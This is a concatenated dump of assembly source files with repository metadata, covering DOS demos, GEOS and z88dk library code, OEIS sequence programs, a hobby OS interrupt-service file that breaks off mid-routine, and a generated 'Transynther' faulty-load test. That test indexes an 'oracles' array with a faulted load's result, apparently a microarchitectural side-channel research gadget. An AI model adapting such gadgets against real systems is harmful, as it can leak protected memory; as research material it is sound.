.MODEL SMALL .STACK 100H .DATA ARRAY1 DB 'a','b','c','d','e','f','g','h' ARRAY2 DB 0H,0H,0H,0H,0H,0H,0H,0H .CODE MAIN PROC MOV AX,@DATA MOV DS,AX MOV CX,8 COPY: LEA si,ARRAY1 MOV AH,[si] LEA di,ARRAY2 MOV [di],AH INC si INC di DEC CX JNZ COPY MOV AH,2 MOV CX,16 MOV DL,ARRAY1 DISPLAY: INT 21H INC ARRAY1 MOV DL,ARRAY1 DEC CX JNZ DISPLAY EXIT: MOV AH,4CH INT 21H MAIN ENDP END MAIN
11.047619
43
0.568966
c56319dfdc8c171ba7ab256c05ea73441e8a35a7
144
asm
Assembly
libsrc/graphics/g800/getmaxx.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/graphics/g800/getmaxx.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/graphics/g800/getmaxx.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
SECTION code_clib PUBLIC getmaxx PUBLIC _getmaxx INCLUDE "graphics/grafix.inc" .getmaxx ._getmaxx ld hl,143 ret
12
33
0.638889
3585d1f278893be7f4c7bffaeef5377f84ec8bc3
1,005
asm
Assembly
Appl/Breadbox/graphvwr/ASMMOD/asmmodManager.asm
NCommander/pcgeos
0d0a2c20425b32589f313861a00b78546c1da46f
[ "Apache-2.0" ]
null
null
null
Appl/Breadbox/graphvwr/ASMMOD/asmmodManager.asm
NCommander/pcgeos
0d0a2c20425b32589f313861a00b78546c1da46f
[ "Apache-2.0" ]
null
null
null
Appl/Breadbox/graphvwr/ASMMOD/asmmodManager.asm
NCommander/pcgeos
0d0a2c20425b32589f313861a00b78546c1da46f
[ "Apache-2.0" ]
null
null
null
include stdapp.def EspCode segment global MYVMCOPYVMCHAIN:far global MYVMFREEVMCHAIN:far SetGeosConvention MYVMCOPYVMCHAIN proc far sourceFile:word, sourceChainL:word, sourceChainH:word, destFile:word .enter mov dx, destFile mov bx, sourceFile mov ax, sourceChainL mov bp, sourceChainH call VMCopyVMChain mov dx, bp .leave ret MYVMCOPYVMCHAIN endp MYVMFREEVMCHAIN proc far sourceFile:word, sourceChainL:word, sourceChainH:word .enter mov bx, sourceFile mov ax, sourceChainL mov bp, sourceChainH call VMFreeVMChain mov dx, bp .leave ret MYVMFREEVMCHAIN endp EspCode ends
20.510204
52
0.474627
a59ac29603d5cfb4068c96ae1f05d1781348b880
678
asm
Assembly
oeis/077/A077421.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/077/A077421.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/077/A077421.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A077421: Chebyshev sequence U(n,11)=S(n,22) with Diophantine property. ; Submitted by Jon Maiga ; 1,22,483,10604,232805,5111106,112211527,2463542488,54085723209,1187422368110,26069206375211,572335117886532,12565303387128493,275864339398940314,6056450163389558415,132966039255171344816,2919196413450380027537,64089355056653189260998,1407046614832919783714419,30890936171267582052456220,678193549153053885370322421,14889367145195917896094637042,326887883645157139828711692503,7176644073048261158335562598024,157559281723416588343553665464025,3459127553842116682399845077610526 lpb $0 sub $0,1 add $3,1 mov $1,$3 mul $1,20 add $2,$1 add $3,$2 lpe mov $0,$3 add $0,1
45.2
478
0.845133
abf23fff81d76b3ba484eb8b225043ec3253b381
165
asm
Assembly
nibbles/start.asm
blessingcharles/TOM_OS
334ee31b44e268b8b8ffacffc11a9a0b3661a638
[ "MIT" ]
1
2021-04-06T11:00:24.000Z
2021-04-06T11:00:24.000Z
nibbles/start.asm
blessingcharles/TOM_OS
334ee31b44e268b8b8ffacffc11a9a0b3661a638
[ "MIT" ]
null
null
null
nibbles/start.asm
blessingcharles/TOM_OS
334ee31b44e268b8b8ffacffc11a9a0b3661a638
[ "MIT" ]
null
null
null
section .text global start extern main extern exitu ;default starting for all elf binaries else defaulted to 0x400000 start: call main call exitu jmp $
15
65
0.745455
d397145baf8945c8c61f2653de566e8d9bb07ab1
1,892
asm
Assembly
Library/User/UI/uiManager.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Library/User/UI/uiManager.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Library/User/UI/uiManager.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
COMMENT @---------------------------------------------------------------------- Copyright (c) GeoWorks 1991 -- All Rights Reserved PROJECT: PC GEOS MODULE: UserInterface FILE: UI/uiManager.asm REVISION HISTORY: Name Date Description ---- ---- ----------- Doug 7/91 Initial version DESCRIPTION: $Id: uiManager.asm,v 1.1 97/04/07 11:46:46 newdeal Exp $ ------------------------------------------------------------------------------@ ;------------------------------------------------------------------------------ ; Common GEODE stuff ;------------------------------------------------------------------------------ include uiGeode.def include initfile.def UseDriver Internal/videoDr.def include Internal/kbdMap.def include Internal/specUI.def ; for SPIR_GET_DOC_CONTROL_OPTIONS ; and DocControlOptions ACCESS_KEYBOARD_DRIVER=1 UseDriver Internal/kbdDr.def include timer.def include font.def UseLib Objects/vTextC.def include fileEnum.def include Internal/geodeStr.def include driver.def ; to handle power On/Off include Internal/powerDr.def ;------------------------------------------------------------------------------ ; Resource definitions ;------------------------------------------------------------------------------ ;------------------------------------------------------------------------------ ; Resources ;------------------------------------------------------------------------------ include uiEMCInteraction.def include uiManager.rdef ;------------------------------------------------------------------------------ ; Code ;------------------------------------------------------------------------------ include uiEdit.asm include uiView.asm include uiTool.asm include uiPage.asm include uiDispCtrl.asm include uiExpress.asm include uiEMOM.asm include uiEMTrigger.asm
26.647887
80
0.421776
d476e4050aa79462d78069f54ac9e22f5bdef4bd
485
asm
Assembly
oeis/179/A179604.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/179/A179604.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/179/A179604.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A179604: Eight white kings and one red king on a 3 X 3 chessboard. G.f.: (1 + x)/(1 - 2*x - 9*x^2 - 2*x^3). ; Submitted by Christian Krause ; 1,3,15,59,259,1079,4607,19443,82507,349215,1479879,6267707,26552755,112474631,476459471,2018296131,8549676763,36216937647,153417558423,649886909195,2752965719491,11661748738583,49399962770975 mov $2,1 lpb $0 sub $0,1 add $1,$3 add $1,$3 sub $3,$1 add $1,$2 sub $3,$1 add $1,$3 mul $2,2 sub $2,$3 add $3,$2 lpe mov $0,$2
25.526316
193
0.672165
ba67ffee6e928682f468259fa1c3dd95b8703515
1,287
asm
Assembly
programs/oeis/194/A194887.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/194/A194887.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/194/A194887.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A194887: Numbers that are the sum of two powers of 12. ; 2,13,24,145,156,288,1729,1740,1872,3456,20737,20748,20880,22464,41472,248833,248844,248976,250560,269568,497664,2985985,2985996,2986128,2987712,3006720,3234816,5971968,35831809,35831820,35831952,35833536,35852544,36080640,38817792,71663616,429981697,429981708,429981840,429983424,430002432,430230528,432967680,465813504,859963392,5159780353,5159780364,5159780496,5159782080,5159801088,5160029184,5162766336,5195612160,5589762048,10319560704,61917364225,61917364236,61917364368,61917365952,61917384960,61917613056,61920350208,61953196032,62347345920,67077144576,123834728448,743008370689,743008370700,743008370832,743008372416,743008391424,743008619520,743011356672,743044202496,743438352384,748168151040,804925734912,1486016741376,8916100448257,8916100448268,8916100448400,8916100449984,8916100468992,8916100697088,8916103434240,8916136280064,8916530429952,8921260228608,8978017812480,9659108818944,17832200896512,106993205379073,106993205379084,106993205379216,106993205380800,106993205399808,106993205627904,106993208365056,106993241210880,106993635360768 seq $0,131437 ; (A000012 * A131436) + (A131436 * A000012) - A000012. mul $0,2 seq $0,32932 ; Numbers whose set of base 12 digits is {1,2}. div $0,144 mul $0,11 add $0,2
128.7
1,059
0.862471
c92f0f95e32ba28bfbb72f3d0e01113f8ce4f0c9
7,572
asm
Assembly
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_21829_2415.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_21829_2415.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_21829_2415.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r8 push %r9 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_WT_ht+0x90de, %rbp nop nop sub $8024, %rsi movl $0x61626364, (%rbp) nop cmp %rsi, %rsi lea addresses_UC_ht+0x7ab6, %rsi lea addresses_D_ht+0x16373, %rdi clflush (%rdi) nop nop nop nop and %r9, %r9 mov $31, %rcx rep movsb nop nop nop inc %rsi lea addresses_UC_ht+0x1d0b2, %rcx sub $8637, %rdx mov $0x6162636465666768, %r8 movq %r8, (%rcx) nop cmp %rbp, %rbp lea addresses_D_ht+0xf996, %r9 nop nop nop nop lfence mov (%r9), %edx nop nop nop nop sub %rsi, %rsi lea addresses_WC_ht+0x155b6, %r8 nop nop nop xor $37750, %rsi movups (%r8), %xmm0 vpextrq $0, %xmm0, %rdx nop sub %rdx, %rdx lea addresses_UC_ht+0x19716, %rsi nop nop nop add $58921, %rcx movl $0x61626364, (%rsi) nop nop nop nop inc %r9 lea addresses_normal_ht+0x65b6, %rsi lea addresses_WT_ht+0x1a6b6, %rdi nop nop nop nop nop lfence mov $51, %rcx rep movsw nop nop dec %rcx lea addresses_UC_ht+0x26f6, %rsi lea addresses_WT_ht+0x46b6, %rdi nop nop nop nop sub %r8, %r8 mov $47, %rcx rep movsw nop add $21846, %rcx lea addresses_D_ht+0x16b6, %r8 nop nop nop cmp %rdi, %rdi movups (%r8), %xmm3 vpextrq $0, %xmm3, %rcx xor %rbp, %rbp lea addresses_A_ht+0x15d52, %rcx nop nop nop nop cmp %r9, %r9 mov (%rcx), %edi nop nop nop nop nop and %r8, %r8 lea addresses_normal_ht+0x2636, %r12 nop nop nop nop sub $14975, %rsi movb $0x61, (%r12) sub %rbp, %rbp lea addresses_A_ht+0xe8f4, %r8 clflush (%r8) nop nop nop nop inc %r12 movups (%r8), %xmm3 vpextrq $1, %xmm3, %rbp xor %r8, %r8 lea addresses_UC_ht+0x478e, %rdx nop nop nop cmp %rdi, %rdi movl $0x61626364, (%rdx) xor %rsi, %rsi lea addresses_WC_ht+0x121b6, %rdi nop nop nop nop inc %rcx movw $0x6162, (%rdi) nop nop dec %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r9 pop %r8 pop %r12 ret .global s_faulty_load s_faulty_load: push %r14 push %r15 push %r8 push %rax push %rbp push %rdx push %rsi // Store lea addresses_PSE+0x15826, %rdx nop nop nop nop nop cmp $42628, %r8 movl $0x51525354, (%rdx) cmp $30718, %r8 // Faulty Load lea addresses_WT+0x17eb6, %r8 nop nop cmp $38458, %rbp movb (%r8), %r14b lea oracles, %r8 and $0xff, %r14 shlq $12, %r14 mov (%r8,%r14,1), %r14 pop %rsi pop %rdx pop %rbp pop %rax pop %r8 pop %r15 pop %r14 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 4, 'size': 4, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 3, 'size': 4, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 2, 'size': 8, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 5, 'size': 4, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 7, 'size': 16, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 5, 'size': 4, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': True}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 11, 'size': 16, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 1, 'size': 4, 'same': False, 'NT': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 5, 'size': 1, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 2, 'size': 4, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 7, 'size': 2, 'same': False, 'NT': True}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
33.653333
2,999
0.65412
b73e82153103f2a98c5585b5a634b222149b3b06
154
asm
Assembly
programs/oeis/135/A135636.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/135/A135636.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/135/A135636.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A135636: Values of x in positive solutions (x,y,z) to the Diophantine 43x+7y+17z=400. ; 1,1,2,2,2,3,3,4,4,5,5,6,7 add $0,6 bin $0,2 div $0,25 add $0,1
19.25
87
0.642857
fc537e1bf08ae57f42628434c7407c2d5fbe68e5
799
asm
Assembly
oeis/301/A301402.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/301/A301402.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/301/A301402.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A301402: Number of nX3 0..1 arrays with every element equal to 0, 1, 2, 3, 4 or 5 horizontally, vertically or antidiagonally adjacent elements, with upper left element zero. ; Submitted by Christian Krause ; 4,32,252,1988,15680,123676,975492,7694176,60687676,478672964,3775524480,29779382108,234884346116,1852646097568,14612713105788,115257514423492,909091592704960,7170443749899164,56556747398228868,446090338036896224,3518529598045875644,27752339552579403076,218896084054376951040,1726538965248694478812,13618045345121500008964,107412090172591361414432,847210948623990029963772,6682361271576069739647428,52707005541400418387278400,415725567690835416888480796,3279028012625650846930314372 mov $2,1 mov $4,1 lpb $0 sub $0,1 mul $2,7 mov $3,$4 mov $4,$2 add $2,$3 lpe mov $0,$2 mul $0,4
49.9375
483
0.831039
1d8cfebf276d11c29052adfd5173aaf38c7b59a8
9,771
asm
Assembly
Kernel64/src/ISR.asm
do-bbi/bbi-os
db4cfa0e25c8a8811fa29448625afb23170e20fa
[ "MIT" ]
null
null
null
Kernel64/src/ISR.asm
do-bbi/bbi-os
db4cfa0e25c8a8811fa29448625afb23170e20fa
[ "MIT" ]
5
2019-10-18T18:48:58.000Z
2021-05-17T12:42:38.000Z
Kernel64/src/ISR.asm
do-bbi/bbi-os
db4cfa0e25c8a8811fa29448625afb23170e20fa
[ "MIT" ]
1
2020-10-11T17:29:26.000Z
2020-10-11T17:29:26.000Z
[BITS 64] ; 64bit mode SECTION .text ; Text Section ; Import functions declared externally ; Handler for Exceptions, Interrupts extern kCommonExceptionHandler, kCommonInterruptHandler, kKeyboardHandler extern kTimerHandler, kDeviceNotAvailableHandler, kHDDHandler ; Export functions to use externally ; ISR for Exception global kISRDivideError, kISRDebug, kISRNMI, kISRBreakPoint, kISROverflow global kISRBoundRangeExceeded, kISRInvalidOpcode, kISRDeviceNotAvaliable, kISRDoubleFault global kISRCoprocessorSegmentOverrun, kISRInvalidTSS, kISRSegmentNotPresent global kISRStackSegmentFault, kISRGeneralProtection, kISRPageFault, kISR15 global kISRFPUError, kISRAlignmentCheck, kISRMachineCheck, kISRSIMDError, kISRETCException ; ISR for Interrupt global kISRTimer, kISRKeyboard, kISRSlavePIC, kISRSerial2, kISRSerial1, kISRParallel2 global kISRFloopy, kISRParallel1, kISRRTC, kISRReserved, kISRNotUsed1, kISRNotUsed2 global kISRMouse, kISRCoprocessor, kISRHDD1, kISRHDD2, kISRETCInterrupt ; Macro to Save Contexts & Replace Selector %macro KSAVECONTEXT 0 ; Macro with No Parameter ; Registers from RBP to GS push rbp mov rbp, rsp push rax push rbx push rcx push rdx push rdi push rsi push r8 push r9 push r10 push r11 push r12 push r13 push r14 push r15 mov ax, ds ; Segment Selector DS ~ ES cannot push to stack directly push rax ; Use RAX to push mov ax, es push rax push fs push gs ; Replace Segment Selector mov ax, 0x10 mov ds, ax mov es, ax mov gs, ax mov fs, ax %endmacro %macro KLOADCONTEXT 0 pop gs pop fs pop rax mov es, ax ; Segment Selector DS ~ ES cannot pop from stack directly pop rax ; Use RAX to pop mov ds, ax pop r15 pop r14 pop r13 pop r12 pop r11 pop r10 pop r9 pop r8 pop rsi pop rdi pop rdx pop rcx pop rbx pop rax pop rbp %endmacro ; Exception Handlers ; #0 Divide Error ISR kISRDivideError: KSAVECONTEXT mov rdi, 0 call kCommonExceptionHandler KLOADCONTEXT iretq ; Return to original code after handler ; #1 Debug ISR kISRDebug: KSAVECONTEXT mov rdi, 1 call kCommonExceptionHandler KLOADCONTEXT iretq ; Return to original code after handler ; #2 NMI ISR kISRNMI: KSAVECONTEXT mov rdi, 2 call kCommonExceptionHandler KLOADCONTEXT iretq ; Return to original code after handler ; #3 BreakPoint ISR kISRBreakPoint: KSAVECONTEXT mov rdi, 3 call kCommonExceptionHandler KLOADCONTEXT iretq ; Return to original code after handler ; #4 Overflow ISR kISROverflow: KSAVECONTEXT mov rdi, 4 call kCommonExceptionHandler KLOADCONTEXT iretq ; Return to original code after handler ; #5 Bound Range Exceeded ISR kISRBoundRangeExceeded: KSAVECONTEXT mov rdi, 5 call kCommonExceptionHandler KLOADCONTEXT iretq ; Return to original code after handler ; #6 Invalid Opcode ISR kISRInvalidOpcode: KSAVECONTEXT mov rdi, 6 call kCommonExceptionHandler KLOADCONTEXT iretq ; Return to original code after handler ; #7 Device Not Available ISR kISRDeviceNotAvaliable: KSAVECONTEXT mov rdi, 7 call kDeviceNotAvailableHandler KLOADCONTEXT iretq ; Return to original code after handler ; #8 Double Fault ISR kISRDoubleFault: KSAVECONTEXT mov rdi, 8 mov rsi, qword [rbp + 8] call kCommonExceptionHandler KLOADCONTEXT add rsp, 8 iretq ; Return to original code after handler ; #9 Coprocessor Segment Overrun ISR kISRCoprocessorSegmentOverrun: KSAVECONTEXT mov rdi, 9 call kCommonExceptionHandler KLOADCONTEXT iretq ; Return to original code after handler ; #10 Invalid TSS ISR kISRInvalidTSS: KSAVECONTEXT mov rdi, 10 mov rsi, qword [rbp + 8] call kCommonExceptionHandler KLOADCONTEXT add rsp, 8 iretq ; Return to original code after handler ; #11 Segment Not Present ISR kISRSegmentNotPresent: KSAVECONTEXT mov rdi, 11 mov rsi, qword [rbp + 8] call kCommonExceptionHandler KLOADCONTEXT add rsp, 8 iretq ; Return to original code after handler ; #12 Stack Segment Fault ISR kISRStackSegmentFault: KSAVECONTEXT mov rdi, 12 mov rsi, qword [rbp + 8] call kCommonExceptionHandler KLOADCONTEXT add rsp, 8 iretq ; Return to original code after handler ; #13 General Protection ISR kISRGeneralProtection: KSAVECONTEXT mov rdi, 13 mov rsi, qword [rbp + 8] call kCommonExceptionHandler KLOADCONTEXT add rsp, 8 iretq ; Return to original code after handler ; #14 Page Fault ISR kISRPageFault: KSAVECONTEXT mov rdi, 14 mov rsi, qword [rbp + 8] call kCommonExceptionHandler KLOADCONTEXT add rsp, 8 iretq ; Return to original code after handler ; #15 Reserved ISR kISR15: KSAVECONTEXT mov rdi, 15 call kCommonExceptionHandler KLOADCONTEXT iretq ; Return to original code after handler ; #16 FPU Error ISR kISRFPUError: KSAVECONTEXT mov rdi, 16 call kCommonExceptionHandler KLOADCONTEXT iretq ; Return to original code after handler ; #17 Alignment Check ISR kISRAlignmentCheck: KSAVECONTEXT mov rdi, 17 mov rsi, qword [rbp + 8] call kCommonExceptionHandler KLOADCONTEXT add rsp, 8 iretq ; Return to original code after handler ; #18 Machine Check ISR kISRMachineCheck: KSAVECONTEXT mov rdi, 18 call kCommonExceptionHandler KLOADCONTEXT iretq ; Return to original code after handler ; #19 SIMD Floating Point Exception ISR kISRSIMDError: KSAVECONTEXT mov rdi, 19 call kCommonExceptionHandler KLOADCONTEXT iretq ; Return to original code after handler ; #20 ~ #31 Reserved ISR kISRETCException: KSAVECONTEXT mov rdi, 20 call kCommonExceptionHandler KLOADCONTEXT iretq ; Return to original code after handler ; Interrupt Handlers ; #32 Timer ISR kISRTimer: KSAVECONTEXT mov rdi, 32 call kTimerHandler KLOADCONTEXT iretq ; Return to original code after handler ; #33 Keyboard ISR kISRKeyboard: KSAVECONTEXT mov rdi, 33 call kKeyboardHandler KLOADCONTEXT iretq ; Return to original code after handler ; #34 Slave PIC ISR kISRSlavePIC: KSAVECONTEXT mov rdi, 34 call kCommonInterruptHandler KLOADCONTEXT iretq ; Return to original code after handler ; #35 Serial Port 2 ISR kISRSerial2: KSAVECONTEXT mov rdi, 35 call kCommonInterruptHandler KLOADCONTEXT iretq ; Return to original code after handler ; #36 Serial Port 1 ISR kISRSerial1: KSAVECONTEXT mov rdi, 36 call kCommonInterruptHandler KLOADCONTEXT iretq ; Return to original code after handler ; #37 Parallel Port 2 ISR kISRParallel2: KSAVECONTEXT mov rdi, 37 call kCommonInterruptHandler KLOADCONTEXT iretq ; Return to original code after handler ; #38 Floopy ISR kISRFloopy: KSAVECONTEXT mov rdi, 38 call kCommonInterruptHandler KLOADCONTEXT iretq ; Return to original code after handler ; #39 Parallel 1 ISR kISRParallel1: KSAVECONTEXT mov rdi, 39 call kCommonInterruptHandler KLOADCONTEXT iretq ; Return to original code after handler ; #40 RTC ISR kISRRTC: KSAVECONTEXT mov rdi, 40 call kCommonInterruptHandler KLOADCONTEXT iretq ; Return to original code after handler ; #41 Reserved ISR kISRReserved: KSAVECONTEXT mov rdi, 41 call kCommonInterruptHandler 